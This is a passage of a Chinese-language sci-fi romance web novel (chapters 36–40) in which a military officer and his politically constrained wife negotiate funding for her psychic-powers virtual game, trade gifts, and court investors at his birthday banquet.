迈尔西见他如此淡定,笑道:“长官,这可是我瞒着迈尔达偷偷告诉你的。她觉得做不做都没关系,等于无效治疗。但我觉得你们夫妻关系这么好,就当增进感情了。”
凌宸又抿了一口营养液,吩咐迈尔西:“对了,有关我精神领域的事,记得说严重一点。”
“是!”迈尔西立正敬礼,军靴噌地一声响。
除了军医这个身份外,他还是死心追随凌家的下属,不会过问这么做的原因。
接下来的一周风平浪静
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,在经过了修养后,她们的状态迅速恢复到了全盛时期,这要感谢帝国极为发达的人类医疗科技,除了深渊相关的身体不适几乎都可以解决。
因此,在解决了高能粒子后,身体的调养再简单不过。
这段时间还有个好消息——安秀的事业开始起步了。
因为被皇室控制的身份,她受到了很多限制。皇室不允许家族女子有独立的事业,这也是为什么她必须选择和凌宸结婚,另谋出路。
好消息是,她找到了这条规则的漏洞——可以借凌宸的名义融资,而自己掌握唯一话事权和资产。
“我们来谈判吧。”安秀来到凌宸的书房,将厚厚的一沓资料摆在他的书桌上。
而凌宸已经等候多时。他做了一个“请”的手势,说:“你先开始。”
“这段时间,我的投资项目收益还不错,资产完全足够起步一个全新的事业了,”安秀十指交叠,自信地微笑,“我联系到虚拟领域的专家,她们愿意和我一起研发这款虚拟游戏。现在,我需要你签署名义转让书,最好再给我三十亿以上的投资。如果你看过我的提案,就知道这是稳赚不赔的合作。”
“你是怎么想到要开发一款虚拟游戏的?早在殖民星球时期,人类的虚拟游戏就已经发展得很成熟了。”
“这不是普通的虚拟游戏,而是融合了深渊粒子设定的虚拟游戏——当然,和市面上那些所谓的异能游戏不同,”她的身体微微前倾,“它可以模拟精神脑域共感。”
“我看到了,”凌宸翻阅那沓虚拟资料,很快调出一张介绍虚拟精神领域的报告,“所以,这是一款让人类能在虚拟世界真正使用异能的游戏?”
“我研究了之前的异能游戏,并不是没有人尝试过这个领域,可是无一例外都失败了。”
安秀认真地分析道:“原因有四个,第一,缺乏高阶异能者展开精神领域的经验;第二,异能研究在帝国属于敏/感领域,研究极少;第三,如此大规模的异能游戏具有军事意义,需要军部做靠山;第四,当初的市场对异能者有排斥心理。”
她顿了顿,又说:“据我所知,敢于作为军部先锋研究深渊粒子科技的只有......你。”
“我要纠正一点,”凌宸放下虚拟屏,“现在不止有我了。”
“你的意思是?”
“你的想法很好,不过晚了一步,已经有人在实践了,”凌宸说,“自从我们拿到克拉德后,有一波人加入了中和派,看到了深渊科技的巨大利益。”
“这么说,皇室那边松口了?”
凌宸眯了眯眼。不知从什么时候开始,她们的对话总是自然而然地转到权力争斗上。
不得不说,安秀这方面的嗅觉相当敏锐。
见状,他也没必要瞒着:“皇室那边,确实有人支持这个。”
“那一定是级别相当高的人。”安秀摸了摸下巴,冷笑一声,“呵,反正肯定不是那个家伙。”
“那个家伙”指的是二皇子兰斯。就算他混了个少将又如何?凭他的眼界和格局,怎么都不可能是说出这种话的人。
估计,是另外几个皇子的主意了。
“那个家伙是谁?”凌宸面无表情地抬眸,观察她的神情。
37.初次假意
他下意识地有些在意安秀提起的这个人,这让他想到婚礼那天的印子。
安秀反问道:“你不是说过不在乎吗?”
“我确实不在乎。”凌宸抽出一小摞资料,继续翻看起来。
心中的醋意如海浪翻搅。
安秀又说:“既然已经有人在研究这种游戏了,我也得加快进度才行。凌宸,你考虑得怎么样了?”
正事归正事,凌宸早就想好如何表态:“凌家可以出20亿投资,并提供军部便利,最终要分到15%的红利。”
“好,那名义的事情呢?”安秀追问。
相比20亿投资,庞大的军部靠山才是真正值钱的东西,现在就剩名义了。要是不能架空凌宸的名义,她就不能创业,更别提将资产收归名下。
她可不想白白给凌家打工。婚姻协议说好了的,她有相当一部分资产独立于凌家,凌宸交付给她的所有款项都属于个人所有。作为交换,她也无法随意插足凌家的资产。
如果不能以合法的方式私下转让名义,获得的资产都会变成法律默认的夫妻共同财产。
令她没想到的是,凌宸说:“我不是很理解名义转让的意思。既然你是创始者,名义就是你的,凌家只参与融资,用我的名义干什么?”
在他看来,她们谁都可以做这件事,换成他的名义完全是多此一举。
“我要借用你的名义才能创业,你不知道?”
凌宸的内心有些惊讶,但想到安秀的身份,没有多问。
“可以,反正之后都要用到虚拟身份。现在你要到处拉投资了。”
安秀颔首。即将到来的凌宸的生日宴是个好机会。
只要她能慢慢积累势力,总有一天,她可以再度进到皇宫,知道家族的真相。
她还想摘掉碍事的颈环,为家族争取应有的权利,至于复仇......
不着急,时间还早。
“安秀,你做这一切,都是为了你的亲人吗?”安秀一抬头,发现凌宸正在用那双蓝宝石一样的眼睛看着她。
书房的灯光不算很亮,刚好调整在正式和暧昧之间,非常适合私人谈话的模式。
“当然。不过,我也是为了我自己。”
“那我算你的亲人吗?”他的语气随意到像随口一问,完全不在乎答案的样子。
“我们是唯一的家人,不是吗?”这回安秀没有被分裂的人格控制,轻快且迅速地回答了他的问题。
凌宸点到为止,没有继续这个话题。他已经知道了答案。
因为这种小事伤春悲秋不是他的作风,他选择先得到能得到的东西。
“那件事考虑得怎么样了?”
“什么事?”面对话题突如其来的转变,安秀有些没反应过来。
“关于后续治疗的事。你体内的高能粒子还需要净化,她们给出了治疗方案。”
“啊,对,但我觉得没什么必要吧?”安秀说,“迈尔达已经说了,治不治都没什么影响,况且还要身体接触。”
“你什么时候这么在乎这个了?”他泰然自若地问道。
安秀皱了皱眉。原本她以为,体内的高能粒子会不受颈环限制,所以不想治疗,但试过后发现行不通。现在看来,这些高能粒子和正常异能没区别,都会受到颈环控制。
她并不是在乎身体接触,而是知道凌宸不适应。经过这些时间的相处后,她觉得应该尊重他的感受才是。
“只是很短暂的接触而已,不完全根治怕留下隐患,”凌宸见她没接话,接着说,“我可以牺牲一点。”
“不用你牺牲。实在不行,你可以拿你接触过的东西传给我,或者我们中间隔点什么也行。”
凌宸不信邪,又重复了一次:“我可以牺牲一点。”
“还是算了吧,谢谢,你太客气了。”安秀礼貌地微笑。
“......”
书房中一下沉默了起来,凌宸定定地看了她几秒,垂下眼眸,不知在思索什么东西。
见他这副样子,安秀思考原因。
难道是怕她的高能粒子产生变数,在生日宴影响到别人?还是凌宸经过这次治疗,留下了心理阴影,心理上接受不了高能粒子的存在?
又或者,他其实很介意作为红眼睛异能者的她掌控了变异粒子。
安秀谨慎地没有发言,等待他下一步动作。
凌宸的手指轻叩桌面,嘴唇轻启道:“你有没有听过迈尔西对我精神领域的说法?”
“我记得,”一说到这个,安秀的神情有些愧疚,“迈尔西说精神领域的毁灭让你失去了一段记忆,更重要的是会严重影响你的精神状态。你现在是不是很虚弱?”
“是的,而恢复精神领域的方法是多使用异能,而在刺激大脑使用异能的过程中,会有新的精神领域建立。”
事实上,对于高阶异能者来说,精神领域的毁灭并不会伤到根基,所谓的“严重影响精神状态”,也只是轻微失眠而已。
凌宸从没有想过有一天会用这种手段换取跟安秀接触的机会。放在以前,他一定会觉得可耻。
简直就像乞求她占他便宜一样。
“嗯......”安秀作沉思状,说,“关于这件事,我确实欠你一个人情,我会帮你的。”
凌宸的心摇晃了起来。
安秀不动声色地看了他一眼,笑道:“那陪你睡一觉就好了。”
她轻描淡写的语气如同在讨论今天的天气,但对凌宸来说,这句话的冲击力无异于一枚具有空间追踪功能的帝国K15离子炮。
“我没想到会这么快。”凌宸有些欣喜,也有点忐忑。
他撤回刚才的想法。既然能得到这么好的回报,目标也算超额达成了,无需可耻。
“是的,其实我早就准备好了。”
安秀起身,手背过去摸索着什么,在凌宸看来,这就像在拉背后的卡扣。
他抑制着已经开始不均匀的呼吸,问:“要在这里吗?”
凌宸觉得面颊有些发热,幸好在书房灯光的照射下不是很明显。多年的强大的自控力下,他在这方面的经验几乎是零。
看着安秀跟卡扣斗智斗勇,他才反应过来一个合格的丈夫应该在这种时候做些什么,想上前帮她。
“不用,我自己来。”
凌宸的目光极尽收敛,但炽热的温度难以掩盖。安秀见他一直盯着自己,催促道:“你也脱呀。”
见他愣住,安秀挑了挑眉,又说:“没想到你这么矜贵,难道还想让
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我亲自帮你脱?也不是不行。”
凌宸的脑袋嗡地一下空白。他听从安秀的话,慢慢把军服纽扣解开,露出形状完美和谐的胸腹线条,暖光照在他经过常年训练的胸部,弧度可人。
当安秀自下而上凝视他的时候,他的喉结滚动了一圈,连带着刚好包住半边脖子的黑色高领,出现了细细的褶皱。
“再把上衣脱了。”
这句话对现在的凌宸来说有点超过了。但他还是微微别过头,咬紧牙关,手捏着衣角把上衣脱了。领口划过头发,发丝没有了平日一丝不苟的造型,些许凌乱地翘起。
安秀饱含笑意地问:“你准备好了吗?”
凌宸呼吸一窒。坦白来说,他还没准备好,这一切都太突然了。如果可以,他更想慢慢来,例如先确认关系......
不过,她们好像本来就是夫妻,如果要确认关系,还能往哪确认呢?
“一定要在这里吗?”
第一次,在书房?
凌宸是很在乎仪式感的人。
不过仔细想想,在书房虽然有些不符合他的想象,但也不是不可以接受。
“不然要在哪?我们的时间有限。”安秀看了看时间,她还有关于投资的东西要处理。
“我觉得应该准备准备。”凌宸想起生理课上的注意事项。作为一名男性,他有责任保证这件事的安全。
“这要什么准备,直接干不就行了?”安秀有些莫名其妙地看了凌宸一眼。
“这?”
这未免也太直白了吧?
凌宸震惊于她不符合外表的狂野内心。
见一向雷厉风行的凌宸还在犹豫,安秀径直走到他面前,摸上了他的小腹。
凌宸轻吸一口气,靠在书桌上,微微阖眼,睫毛轻颤。
“你还把上衣全脱了,挺方便的。”
方便......吗?其实他觉得还应该把下装脱了。难道她今天不想做全套?
他等了半天,结果安秀并没有其它“出格”的动作,反倒将一个软软薄薄的东西贴到了他的腹部,把他身前挡得严严实实。
“都说了没那么麻烦,你在担心什么?我的粒子传到里面了,你陪它睡一觉,净化好粒子之后传上去,我再吸收完就好了。”
凌宸看了看安秀,又看了看小腹的粒子贴,本应向下的热流飞到了耳朵上。
“嗯。”
这声音闷闷的,比书房古朴庄严的装潢还闷。
他神色如常地穿上衣服,套上外套,然后打开书房的门,送安秀出去。
关上门,凌宸的表情裂开了一条缝,失望与羞耻的情绪几乎要溢出来了。
自己的行为,好可耻。
心思紊乱的他全然没注意到安秀在离开书房前勾起的嘴角。
时间不知不觉来到了生日宴前夕,安秀正在盘点宴会的必需品,其中一个就是她们的礼服。
按照凌家这种老派家族的传统,礼服的风格低调优雅。因此,安秀特意选择了帝国数一数二的品牌,请专人设计整个宴会的套组,力求将审美提到一流。
关于宴会的布置这块,是她要求负责的。
“凌宸,你的衣服设计好了,穿给我看看。”安秀以一副正经的口吻说道。
38.蓝色宝石
包装精致的礼盒里面是凌宸的礼服,最上面是品牌方亲自撰写的信件。
层层拆开后,最里面还有一层柔软的丝绸包裹。几个小小的智能体飞起,夹起丝绸下的礼服军装,轻易地抖落开来,将礼服完整展现在二人眼前。
这一套流程是标准的帝国上流宴会的设计。
凌宸很快换好了礼服军装,走了出来,安秀半天没说话。
“怎么了?”
他一开口,安秀才回过神来。
“没事,”她真心夸赞道,“你真的很漂亮。”
从前,她以为白色军装看上去不如黑色军装,是因为颜色不如黑色有气势。现在看来,与装饰和面料有不小的关系。
凌宸平时穿的军服已经是很高档的级别,但到底跟帝国最高级的品牌定做有区别。
“你选择了菲尔兹这个牌子,”凌宸一下就认出衣服上的标识,“这是西西多格麾下的品牌。为什么选这个?”
“因为找不到比它更合适的品牌了,”安秀摇了摇头,“无论从品牌、设计、质量还是服务来讲,菲尔兹都无可挑剔。”
“单从品牌来讲,这是最好的选择,”凌宸对品牌的选择并无异议,“而我好奇的是,你为什么能在高能粒子事件之后还买她的东西?”
治疗结束后,安秀知道了高能粒子的来源是那份名单。
“因为对我们有益。菲尔兹是为许多贵族提供服务的品牌,她们不会在这个上面做手脚,”说罢,她又开始打量凌宸的造型,“你的头发这里有点翘了,到时候让造型师按我的方案定一下型。”
凌宸眉毛一撇:“我是军人,又不是星域网的明星。”
况且,他并不喜欢被当成商品一样摆弄。
“凌宸,这场宴会对我们来说都很重要,”安秀严肃地对他说,“外型决定了投资人的第一印象,作为军备统筹部的一把手,应该懂这个道理。”
绝对不是因为她有任意给他打扮的小心思。
“你说的外型,是指给我安排了整整十个方案,而你只有两个?”
“你长得那么漂亮,当然要把长处发挥到极致。当然了,不会很过分的,都是我精心设计的最得体优雅符合你气质的造型。”
“这根本不是重点。我最多接受三套。”
“八套吧,八套可以吗?”安秀实在舍不得割掉那么多方案。
“我要去处理军务了。”凌宸开始脱下军装。
“五套五套,”安秀拦下他卸衣服的手,“五套,说定了。”
凌宸无奈地摇了摇头,按下墙壁通道的按钮,第二套军服传送到大厅:“我只有三个小时的时间。”
如果有下次,他一定会把安秀拍胸脯保证的审美方案都过目一遍,而不是看着造型师在大厅来来往往,自己却是全场的主角。
发布这条命令的是他的妻子,再怎么样,他也不好当面拒绝她的要求。
宴会在即,这种风声一旦泄露,对她们都没好处。
安秀是不是算准了这点才这么做的?
凌宸用余光瞄了眼安秀,后者正温和大方地跟造型师交流,完全是一副没有心机的好相处的形象。
这人真是......
这次兴师动众的换装足足持续了三个小时,连凌宸自己都没想到可以有这么多还算过得去的造型。
而他评价的所谓“还算过得去”,实际放出去是会让人以为参加高级宴会的明星的程度。
最终定下的一套,是安秀选择的。
衣服的设计融入了帝国时兴的稀有矿装饰,碎钻一般点缀得恰到好处,丝毫不会显得夸张。腰侧的流线型设计很好地诠释了男性曲线,将他的身材优势完全展现了出来。
然而这样一套以美丽为特色的衣服,却做到了与凌宸本人的冷漠和将帅式气势互补,同时不失凌家特有的古朴优雅感。
在宴会当晚,安秀不知不觉围着他转了好几圈,真心为自己的手笔感到自豪。
凌宸不明所以,只见她又要走到他身后,于是跟着她转身问:“你在干什么?”
“我在欣赏我一流的审美。”
凌宸低笑一声:“妈妈也会在生日的时候打扮我,你们有些一样,又有些不一样。”
“哪里一样,哪里不一样?”
“她也会借着为生日打扮名义玩换装游戏,”凌宸系好领带,又理了理领子,挑剔地打量镜中的自己,“不同的是,你们打扮的方向不太一样。”
“什么方向不一样?”
“你自己感受就知道了。不用看也知道。”
凌宸留下这句谜语一样的回答,从柜子里拿出一个礼盒。
安秀的目光放在低调但用心的包装上,看他打开盒子,里面是一条一看就价值不菲的项链。
“你这是什么意思?我不缺项链呀。”终归是被送礼物,安秀的心底还是有些欣喜的。
凌宸自然不会说“我生日了,所以送你个礼物一起过节”这种幼稚的话。他已经想好了理由。
“这是宴会中一个品牌方旗下的产品,戴这个会提高谈话的成功率,”凌宸找的理由简直天衣无缝,正中她的靶心,“不知道你喜欢什么珠宝,所以把她们家的款式全买了一遍,这条项链和你简约大方的衣服搭配起来也很合适。”
其实,这是他挑了很久的项链。在换装期间观察了安秀的审美后,他保证安秀一定会喜欢。
安秀确实喜欢这么实用又贴心的礼物。
“你的审美很不错。”她挑了挑眼,撩开头发,转过身去。
凌宸会意,亲手为她戴上项链。
项链的链条带来微微凉意,凌宸的指节无意扫过她的脖颈。而安秀只顾着看镜中戴上了项链变得更加夺目的自己,没留意凌宸沉默而欣赏的眼神。
过了一会,凌宸意识到她们都看入了迷,轻声提醒:“晚宴就要开始了。”
“对了,请先等等,我有个东西要送你。”安秀摸着胸前的项链,将手探到两侧的口袋。
原本帝国女性礼服的设计是没有口袋的。她问了很多个设计师,都以“加上口袋会影响造型”或“不符合礼服规范”、“可以借用丈夫的口袋”等理由拒绝,最后一个理由更是让她直接赶走了设计师。
最终,还是一位年轻的女性为她设计了随时可以放东西的礼服。
然后她们发现,解决这个问题其实非常简单,用有延展性的布料和恰当的设计遮住就可以了,和帝国男装没什么不同。
安秀摸到了一个小巧的盒子,里面装了一个手链和一对耳饰。
凌宸一眼就看出来这
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是他在商会买到的高级蓝矿,当时它让安秀赚到的钱全亏了。他在事情结束后还给了安秀。
“今天毕竟是你的生日,不送点什么说不过去,”安秀赧然,“这不是出了一些事情,本来计划好要准备礼物的,变得匆忙了。”
凌宸有些讶异她会愿意计划给自己准备礼物。按理来说,走个过场就行了。
“本来想把这个宝石卖掉的,可是想了想,它的蓝色和你的眼睛颜色一模一样,当礼物正合适。你以后出席宴会可以用到它们,不会过分张扬,很适合你。”
这段话听上去非常真心实意。
安秀亲自为他别上耳饰,稍微站远点看,说:“很好看。”
“谢谢。”
房间的落地窗外是满天星河,安秀的眼神在凌宸看来如星光一般柔和。她感叹道:“你的眼睛,才是宝石真迹吧。”
凌宸一时间不知道说什么好,摸了摸耳朵,露出连自己都没意识到的浅笑。
“嗯,谢谢。”
时间不早,安秀准备好在晚宴露面了。她收起笑容,对凌宸说:“你可要全力帮助我。”
“我会的。”
按照规矩,凌家家族制的生日宴会,往往是主角先出场,家人随后。凌宸率先从金碧辉煌的阶梯上下去,与一众宾客寒暄。
大厅幅员辽阔,有十几个高级合金打造的巨大柱子,上面流动的纹路形似星云,中间有一条大道。
宾客会等待凌宸在大道上一路从头走到尾跟她们打招呼,至少要二十分钟。
地面上铺设了感光地砖,宾客可以自行选择在行走时留下短暂的各种颜色的星辰足迹或者拖尾,可在某些的位置指定单人桌椅休息。
大厅的正前方,则是长约十几米的月牙形主桌,由特殊的晶体雕成。
月牙桌的四周散落着星星桌,星月桌的组合,皆是为了方便宾客交际而设计。
安秀默默观察宾客的位置。终于,凌宸的寒暄结束,晚宴即将开始,安秀从阶梯上走了下去。
宾客们不得不把目光放到她的身上。这位传说中被皇室邀请的某个大人物退婚,后来又不知凭借什么手段嫁入凌家的红眼睛女子。
曾经传出过谣言,她与皇室成员有染,凌准将无比厌弃,很久不回家。当时所有人都预测安秀不久会被二次退婚。
可是她没有。
那个年少成名的冷酷军官没有退婚,反倒据说在外十分维护妻子的名义,二人恩爱无比。
一些人看着,凝视着,好奇与恶意交织着,却发现丝毫无法撼动她的气势。
凌宸在离她最远的月牙形餐桌处,隔了一整个过道,安秀只能远远看到他颀长的身影。
他的头转了过来。
他也在看她。
这个时候,需要一位凌家的正式成员宣布开始宴会。一旁的凌家旁支想上来,安秀冷冷看了他一眼,抬手宣布道:
“现在我宣布,晚宴正式开始。”
宾客们又看向凌宸,后者淡定地拿起红酒喝了一口,未置一词。
这无异于一个强有力的宣告——安秀是被家主承认的凌家的正式一员。
安秀身穿暗红色裙装,外貌与气质堪称一绝。经此一宴,上流社会的人都会记住她的名字,而不再称她为“红眼睛”。
39.弥泰资本
经过了帝国庞大世家承认的身份,含金量可想而知。
在此之前,从未有一个“红眼睛”光明正大地出现在上流宴会,更不可能代替家族成员宣告宴会的开始。
换作刚和凌宸成婚那会,安秀也必然没有这个机会,多半只能安静地跟在他身后,极其偶尔地接待少量宾客。
上流社会变天了。
有眼色的宾客来到单独行动的安秀跟前,一一敬酒。安秀的贴身侍从索菲娜尽数挡下——她可是喝酒的好手。
月亮长桌离她还有一段距离,而她已经在不远处的星星桌看到了熟悉的人影。
那人穿着华贵的深绿色长裙,棕色头发卷起漂亮的弧度,而那双灵动如精灵的碧眼让人难以移开目光。
“喔,安秀,我们终于又见面了,”米莉有些着急地走到她跟前,语气满是担忧与激动,“你还好吗?听说你这段时间都在疗养,可把我担心坏了。”
“你看,我现在不是好好的?”安秀挽起她的手,而米莉则更加亲密地挽回去,这一切被其她宾客看在眼里。
“我都联系不上你。深渊之神啊,你该是病到什么程度才断掉了所有联系,我连想看望你都找不到地方呀。”
“人总需要安静一段时间,”安秀微笑回应,“这件事情,低调一点就好。”
“那是自然。”米莉眨了眨眼。
安秀了然。这段时间的“疗养”,凌宸一定在背后做了不少手脚——他限制了她的通讯,甚至很可能直接布下了外界讯息的天罗地网。
但至少从现在看来,这是正确的决定。
如果她跟茶会的人联系,指不定会知道关于姐妹会的东西,正中谋害她的人的下怀。
不过,这种天罗地网也不是完美无缺的。例如当初与赫本和克诺洛斯的通讯,真的很惊险。
安秀问:“如果我没记错的话,达米安现在已经入学了吧?”
说到这个话题,米莉开心地笑了起来,比晚宴开始前的清脆铃声还好听。
“我的女儿现在是帝国第一军校的学生,还有最厉害的准将当推荐人。她以后一定是名伟大的军人。”
安秀也笑了,真心为她们高兴。
“最新款式的战机模型收到了吗?可能有点晚了,希望你的女儿喜欢这个生日礼物。”
“达米安非常喜欢,”米莉的笑意更深了,“她摆弄了一个下午还意犹未尽。你知道吗,她晚上就会拆模型了。”
“拆模型?”安秀不太懂模型爱好者的心理,“我以为模型买来只是用来观赏的。”
“这是她的小癖好。她喜欢拆掉再装回去,不过现在还在琢磨怎么装回去。”米莉宠溺地叹了口气,“算了,这孩子,她开心就好。”
“我听说很多大师也有这样的能力,看来你的女儿很有天赋啊。”
“也只是有一点而已。她不想选修理专业,而是想直接开战机呢。”一听到别人夸女儿,米莉的心情就无比愉悦。
“那实在是太厉害了。”安秀笑吟吟地看着她这么开心。
“喔,我是不是说太多了,你还有正事要办对吧?”米莉一边用扇子轻轻敲打胸脯,一边小声对她说,“我来是想跟你说,关于那个投资的事情,我可以帮你一点。”
这回轮到安秀惊讶了,她没想过米莉会主动帮助自己。
“哦?可是你的丈夫不是一向对这种领域很谨慎......”
“他是这么说的,但我这些年也有不少积蓄,”米莉眯了眯眼,那眼眸像翡翠变成了月牙,“我也想投点新的东西试试。毕竟妈妈才是女儿最大的后盾,是不是?”
“那真是太好了。”安秀尽可能让自己的面部表情,因为四周的宾客都在观察她们,不适合做出太夸张的动作。
“以后有空,我一定和达米安登门拜访。”
米莉行了个礼,和她的侍从离开了。
安秀看着米莉离开的背影,有不少人围上了她,可见她在上流社会的处境越发好了起来。
她走过中间的大道,穿过巨大的柱子,来到月亮桌前。层层人群为她开出一条路,直达中心的凌宸。
凌宸在众人的注目礼下,走上前挽上她的手,为身边的熟人介绍安秀。
“这是我的妻子,安秀。”
安秀矜持地颔首,与她们一一结识。毕竟接受过皇室的训练,她在礼仪方面挑不出任何错处。
有许多宾客是没有参加婚礼的新面孔,不过好在她们有一份晚宴名单。同时为了方便宾客交流,每个人在交谈时的身份会同步传递到耳侧的虚拟屏。
繁琐的礼仪结束后,凌宸带她来到一位大约四十岁的银发男人跟前,资料显示职业是帝国创投基金会成员。
凌宸介绍道:“这位是泰尔斯,我在创投的朋友。”
安秀与泰尔斯握手,同时在心里微微震惊凌宸的人脉。
他说会全力帮助她,没想到直接邀来了帝国创投基金会的人。看资料,泰尔斯还是相当有名的“弥泰资本”的话事人之一。
“你们先聊吧。”凌宸介绍完后,转身离开了她们,去忙自己的事情了。
“您好,泰尔斯先生,很高兴认识您。”安秀不动声色地观察泰尔斯。
这人的银发貌似是天生的,特意在两鬓挑染了棕黑色,面部粗犷、眼神犀利,眼角有一些皱纹,蜿蜒到饱满透红的苹果肌,下巴上有一圈精心打理的银灰色胡茬。
总之,他的外表与高大的身型很匹配,像一头健硕的狼。
泰尔斯也在打量安秀,老鹰一样的眼神让习惯处在低调环境的她有些不自在。
“你很有野心,但没有与之匹配的实力。”
没想到,泰尔斯直接略过了耗费精力的寒暄,说出了对安秀的评判。
“虽然表面上看不出什么,但你为这种落差感到不甘,容易在关键时刻急于求成,”泰尔斯犀利地看穿她的缺陷,丝毫不在乎她的脸色,“投资你这样的人,有什么好处?”
安秀连眉毛都没皱一下,也没有像泰尔斯预想的那样煞白了脸。
“我不知道您还对心理学感兴趣,”安秀平和地回应道,“野心和实力的落差是再正常不过的事,这是很多人面对的课题。如果您研究过我的项目方案的过程资料,
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就会发现我并没有您想的那么冲动。《渊和》是个大项目,没有与之匹配的野心,不如不做。”
“那是因为你还没被巨大的利益诱惑过,”泰尔斯眯起了眼,“我可以看在那小子生日的份上给个面子,但不会对一个初出茅庐的女儿家家认真。”
安秀敏锐的神经被刺痛一下,以温和的笑容掩盖,眼神却淡漠得有些冰冷。
“我知道延迟满足的重要性。事实上,在您之前,已经有数十个基金会的人来联系我投资,然而她们所投资的要求虽能快速变现,却要破坏世界观,全部被我拒绝了。”
泰尔斯的眼神一变,静候她的下文。
“我了解过弥泰资本投资的项目,有一个叫《帝国战甲》的虚拟游戏很火爆,对吗?它的类型恰好跟《渊和》很像。”
渊和是安秀成立的公司名,同时也是她想要创作的融合深渊异能的虚拟游戏的名字。
“弥泰资本注重项目的长期发展,从《帝国战甲》的运营持续十年可以看出来,”安秀暗红色的眼睛在项链的衬托下愈发有迷惑性,“不过,这个游戏已经很久没有替代品了,弥泰也在挖掘有这种潜力的游戏吧?《渊和》需要弥泰,而弥泰需要《渊和》。”
“呵,呵呵呵......”泰尔斯笑了起来,拿起一旁侍从端上的昂贵美酒一饮而尽,“年轻人就是口气大,不错!会吹是好事。”
“多谢夸奖。”安秀并不觉得口气大点有什么可羞耻的,也不觉得自己在吹牛。
她就是觉得她可以。
“你知道弥泰的由来吗?”泰尔斯跟她闲聊起来。
安秀并没有刻意了解过弥泰的创立。她心中有几个猜测,思考应该如何表达出来,才能让泰尔斯相信自己有做好项目的能力。
虽然我没了解过,但是我猜......不行。猜测会显得人没有底气。
我没有了解过,请您说明?不行。这也太老实了,泰尔斯应该不会喜欢一板一眼的人。
于是,她没有选择直接回答:“弥泰是深渊众神之一,掌管交易,审判不诚信的人。祂曾为帝国最初开垦荒星的那批信徒带去了繁盛的商业。想必,弥泰资本之所以叫弥泰,也是寄托了这样的美好愿望吧。”
泰尔斯点了点头,叹气道:“伟大帝国和共和国的僵持已经持续了四十余年。除去十年修整,帝国的经济不比之前好了。”
安秀望着金碧辉煌、一眼望不到头的大厅,无法想象帝国最繁盛的时候是什么样。
泰尔斯哈哈一笑:“你出生那会还在修整,到现在也才过去二十年。不像战争开始前,这个晚宴大厅还会大上十倍!”
“为了让帝国再次繁荣兴盛起来,我们也要努力。”
泰尔斯眼角的皱纹在淡淡的笑意下动了动:“弥泰资本,可是皇室钦点的重要资本。年轻的时候只想着多捞点钱,而现在,我也想报答皇室、造福帝国民众啊。”
“我们有着共同的目标,”安秀微微一笑,“你们不会后悔的。”
“我们可以出资200亿。如果《渊和》能在三年之内创收1000亿,欢迎和我们长期合作。”
40.遭受打击
安秀和泰尔斯再度握手,虚拟系统自动记录对话生成合同,两人算是结束了谈判。
有凌宸的人情,这个投资拉得还算顺利。然而,她还没达到今晚的目标。
算去成立公司等繁琐的手续需要的钱、凌家提供的20亿资金与军事支持、米莉和弥泰的200多亿投资,她还需要至少200亿的项目资金。
她摸了摸脖子上的项链,这是一个名为露西的品牌设计的碎月系列首饰。或许可以按照凌宸的暗示,去她们那碰碰运气。
马上要走到月牙桌的尽头,她看到一杯琥珀色的果酒,刚想拿来喝,忽然感觉到熟悉的气息从后面探过来,一只骨节分明的手贴近她的手臂,拿走了一旁的甜品。
安秀回头,刚好看到凌宸的侧脸。然而这一回头,她们的距离有些太近了,她差点碰上凌宸的脸。
“结果怎么样?”凌宸一口吃掉小巧的甜品,然后拿手帕擦了擦手。这个吃甜品的动作在身穿威严的礼仪军装的他做来居然没有违和感。
“挺顺利的。”安秀拿起果酒喝了起来,对桌上的甜品一点兴趣都没有。
不知道是不是凌家聘用的厨师的习惯问题,她觉得这里的甜品太甜了——可能是她的口味比一般人淡很多的原因。
两人朝着月牙的尖尖走,走过的地方浮现两双足迹。
“我以为你今天顾着拉投资,不会喝酒。”凌宸知道侍女刚刚为她挡酒,认为这是安秀的用意。
“偶尔喝一点可以,我可不想一次性喝那么多。”
“其实是因为你很容易醉吧?”
“并没有。”安秀又摆出她那副招牌的温和笑意,“我现在,还要找几个目标投资人。”
“跟我来吧。”
此时,晚宴的气氛热络了起来,因为大厅中央正在表演。凌宸像任何一个普通的丈夫那样挽起她的手,带她穿过数个星星桌。
“这个人是露西品牌的投资方,林墨财团的继承人。”凌宸嘴唇轻启,“你知道她和露西是什么关系吗?”
“这......”
安秀鲜见地没有回答上来,在她的知识储备中,找不到任何与二者可能的联系。
林墨财团,听上去像帝羽星类似凌家这个人种的存在,而露西听起来像来自帝魄星或者帝王星。
“露西是林家的养女,不过林家一向低调,你不知道也正常,”凌宸一语道破这个小秘密,“林月是她的姐姐。”
“喔——”安秀拉长音调,对这个结果毫不意外,“看来她们的关系还挺好。”
“林墨财团在近两年频繁投资露西品牌,让它一跃成为一流奢侈品品牌。不过,林家和我们关系不远不近,你不要暴露知道这个消息的事。接下来看你的了。”
说罢,大厅的灯光暗了下来,中央的舞台表演告一段落,凌宸离开她,在另一个方向消失了。
黑暗中,一名女子刚好与安秀对上视线。
大厅的灯光又徐徐亮起来,下一轮表演开始了。
安秀朝林月颔首。
林月点了点头,却不上来与她寒暄,站在原地等待她的动作。假若安秀不主动上前,那么她们也只会是一次点头之交。
正如凌宸所说,林家很低调,大概是因为她们对自己的实力很有底气吧。
安秀没有停下脚步,慢慢朝林月走了过去。而林月也抬起头正视她的到来,算是接受了这个社交邀请。
“久仰大名,林月。”
“您好,安秀夫人,”林月朝她行了个简单的礼。
林月比她大好几岁,但鉴于帝国对女性社会身份的划分,安秀反而是更受尊敬的那一方。
安秀虚扶林月起身,而林月则很快地直起身子,没有下言。
见林月这样一副不冷不热的态度,安秀也有些语塞,因为她很少当主动找话题的那个人。换作是别人被这么冷漠对待,恐怕早就心存不满。
“请恕我唐突,林月小姐,我觉得......”安秀顿了一下,思索着如何打开话题,眼神在林月的身前游移,“你的首饰很好看。”
“谢谢。”
“......”
两人又陷入沉默,安秀不失礼节地笑了笑。
如果她像米莉一样有个随时可以把玩的扇子就好了,至少不会不知道该往哪里安放自己的手。
“这些首饰的设计看上去很眼熟。冰蓝色的碎晶不规则地连在一起,让我想到飘在星球附近的冰层。”
林月穿着一身简约又不失设计感的黑色裤裙,全身的视觉重心都在这个体积不小的项链上,胸口的布料做了冰蓝色渐变处理,跟安秀的比喻一模一样。
“嗯,谢谢。”
林月又不说话了。
安秀轻吸一口气,继续道:“这是什么牌子?”
“露西。”林月的眼神终于柔和了一点,看着安秀胸前的项链,“跟你戴的是同一个系列,你的是简约版。”
